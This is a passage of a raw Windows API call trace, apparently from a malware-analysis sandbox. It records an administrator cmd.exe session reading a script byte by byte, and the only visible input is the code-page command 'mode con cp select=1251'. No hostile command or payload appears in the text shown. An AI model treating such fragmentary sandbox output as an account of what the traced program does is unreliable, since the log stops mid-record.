returned 0x23aafcc0000 [0064.034] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x8, Size=0xacc) returned 0x23aafcd9520 [0064.034] FreeEnvironmentStringsA (penv="=") returned 1 [0064.035] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff931f40000 [0064.035] GetProcAddress (hModule=0x7ff931f40000, lpProcName="NtQueryInformationProcess") returned 0x7ff931fe56b0 [0064.035] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0x4eef56e448, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x4eef56e448, ReturnLength=0x0) returned 0x0 [0064.035] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0x7b51c74000, lpBuffer=0x4eef56e480, nSize=0x7a0, lpNumberOfBytesRead=0x4eef56e440 | out: lpBuffer=0x4eef56e480*, lpNumberOfBytesRead=0x4eef56e440*=0x7a0) returned 1 [0064.038] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0 [0071.694] GetExitCodeProcess (in: hProcess=0x98, lpExitCode=0x4eef56eec8 | out: lpExitCode=0x4eef56eec8*=0x0) returned 1 [0071.694] CloseHandle (hObject=0x98) returned 1 [0071.694] _vsnwprintf (in: _Buffer=0x4eef56f098, _BufferCount=0x13, _Format="%08X", _ArgList=0x4eef56eed8 | out: _Buffer="00000000") returned 8 [0071.694] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0071.694] GetProcessHeap () returned 0x23aafcc0000 [0071.694] RtlFreeHeap (HeapHandle=0x23aafcc0000, Flags=0x0, BaseAddress=0x23aafcd9520) returned 1 [0071.695] GetEnvironmentStringsW () returned 0x23aafcd9520* [0071.695] GetProcessHeap () returned 0x23aafcc0000 [0071.695] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x8, Size=0xaf2) returned 0x23aafcda020 [0071.695] FreeEnvironmentStringsA (penv="=") returned 1 [0071.695] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0071.695] GetProcessHeap () returned 0x23aafcc0000 [0071.695] RtlFreeHeap (HeapHandle=0x23aafcc0000, Flags=0x0, BaseAddress=0x23aafcda020) returned 1 [0071.695] GetEnvironmentStringsW () returned 0x23aafcd9520* [0071.695] GetProcessHeap () returned 0x23aafcc0000 [0071.695] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x8, Size=0xaf2) returned 0x23aafcda020 [0071.695] FreeEnvironmentStringsA (penv="=") returned 1 [0071.696] GetProcessHeap () returned 0x23aafcc0000 [0071.696] RtlFreeHeap (HeapHandle=0x23aafcc0000, Flags=0x0, BaseAddress=0x23aafcc6e90) returned 1 [0071.696] DeleteProcThreadAttributeList (in: lpAttributeList=0x4eef56f050 | out: lpAttributeList=0x4eef56f050) [0071.696] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0071.709] ??_V@YAXPEAX@Z () returned 0x1 [0071.709] _get_osfhandle (_FileHandle=1) returned 0x254 [0071.709] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0071.709] _get_osfhandle (_FileHandle=1) returned 0x254 [0071.709] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff7423dfc08 | out: lpMode=0x7ff7423dfc08) returned 0 [0071.710] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.710] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff7423dfc0c | out: lpMode=0x7ff7423dfc0c) returned 0 [0071.710] GetConsoleOutputCP () returned 0x4e3 [0071.732] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff7423dfbb0 | out: lpCPInfo=0x7ff7423dfbb0) returned 1 [0071.732] SetThreadUILanguage (LangId=0x0) returned 0x409 [0071.807] GetProcessHeap () returned 0x23aafcc0000 [0071.808] RtlFreeHeap (HeapHandle=0x23aafcc0000, Flags=0x0, BaseAddress=0x23aafcc6e00) returned 1 [0071.808] GetProcessHeap () returned 0x23aafcc0000 [0071.808] RtlFreeHeap (HeapHandle=0x23aafcc0000, Flags=0x0, BaseAddress=0x23aafcd9030) returned 1 [0071.808] GetProcessHeap () returned 0x23aafcc0000 [0071.808] RtlFreeHeap (HeapHandle=0x23aafcc0000, Flags=0x0, BaseAddress=0x23aafcc6c30) returned 1 [0071.808] GetProcessHeap () returned 0x23aafcc0000 [0071.808] RtlFreeHeap (HeapHandle=0x23aafcc0000, Flags=0x0, BaseAddress=0x23aafcd8fd0) returned 1 [0071.808] GetProcessHeap () returned 0x23aafcc0000 [0071.808] RtlFreeHeap (HeapHandle=0x23aafcc0000, Flags=0x0, BaseAddress=0x23aafcc83e0) returned 1 [0071.808] GetProcessHeap () returned 0x23aafcc0000 [0071.808] RtlFreeHeap (HeapHandle=0x23aafcc0000, Flags=0x0, BaseAddress=0x23aafcc8fe0) returned 1 [0071.808] GetProcessHeap () returned 0x23aafcc0000 [0071.808] RtlFreeHeap (HeapHandle=0x23aafcc0000, Flags=0x0, BaseAddress=0x23aafcc1850) returned 1 [0071.808] GetProcessHeap () returned 0x23aafcc0000 [0071.808] RtlFreeHeap (HeapHandle=0x23aafcc0000, Flags=0x0, BaseAddress=0x23aafcc6a80) returned 1 [0071.808] GetProcessHeap () returned 0x23aafcc0000 [0071.808] RtlFreeHeap (HeapHandle=0x23aafcc0000, Flags=0x0, BaseAddress=0x23aafcc8320) returned 1 [0071.808] _vsnwprintf (in: _Buffer=0x7ff7423e7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x4eef56f478 | out: _Buffer="\r\n") returned 2 [0071.808] _get_osfhandle (_FileHandle=1) returned 0x254 [0071.808] GetFileType (hFile=0x254) returned 0x3 [0071.808] _get_osfhandle (_FileHandle=1) returned 0x254 [0071.808] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0071.808] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7423d9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4eef56f448, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesWritten=0x4eef56f448*=0x2, lpOverlapped=0x0) returned 1 [0071.808] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7423dbb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0071.808] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x23aafdc0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0071.808] _vsnwprintf (in: _Buffer=0x23aafdd0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x4eef56f488 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23 [0071.808] _vsnwprintf (in: _Buffer=0x23aafdd008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0x4eef56f488 | out: _Buffer=">") returned 1 [0071.808] _get_osfhandle (_FileHandle=1) returned 0x254 [0071.808] GetFileType (hFile=0x254) returned 0x3 [0071.808] _get_osfhandle (_FileHandle=1) returned 0x254 [0071.808] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25 [0071.808] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7423d9970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x4eef56f478, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesWritten=0x4eef56f478*=0x18, lpOverlapped=0x0) returned 1 [0071.808] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.808] GetFileType (hFile=0x248) returned 0x3 [0071.809] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.809] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.809] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0071.809] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c30, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0071.809] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.809] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.809] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0071.809] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c32, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0071.809] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.809] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.809] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0071.809] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c34, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0071.809] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.809] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.809] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0071.809] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c36, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0071.809] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.809] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.809] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0071.809] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c38, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0071.809] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.809] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.809] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0071.809] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c3a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0071.809] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.809] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.809] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0071.809] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c3c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0071.809] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.809] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.809] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0071.810] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c3e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0071.810] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.810] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.810] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0071.810] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c40, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0071.810] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.810] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.810] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0071.810] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c42, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0071.810] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.810] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.810] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0071.810] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c44, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0071.810] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.810] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.810] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0071.810] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c46, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0071.810] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.810] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.810] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0071.810] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c48, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0071.810] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.810] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.810] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0071.810] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c4a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0071.810] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.810] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.810] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0071.810] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c4c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0071.810] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.810] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.811] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0071.811] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c4e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0071.811] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.811] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.811] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0071.811] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c50, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0071.811] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.811] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.811] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0071.811] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c52, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0071.811] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.811] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.811] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0071.811] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c54, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0071.811] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.811] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.811] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0071.811] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c56, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0071.811] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.811] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.811] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0071.811] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c58, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0071.811] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.811] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.811] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0071.811] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c5a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0071.811] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.811] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.811] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0071.811] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c5c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0071.811] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.811] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.812] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0071.812] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c5e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0071.812] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.812] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.815] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0071.815] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c60, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0071.815] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.815] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.815] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0071.815] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c62, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0071.815] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.815] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: 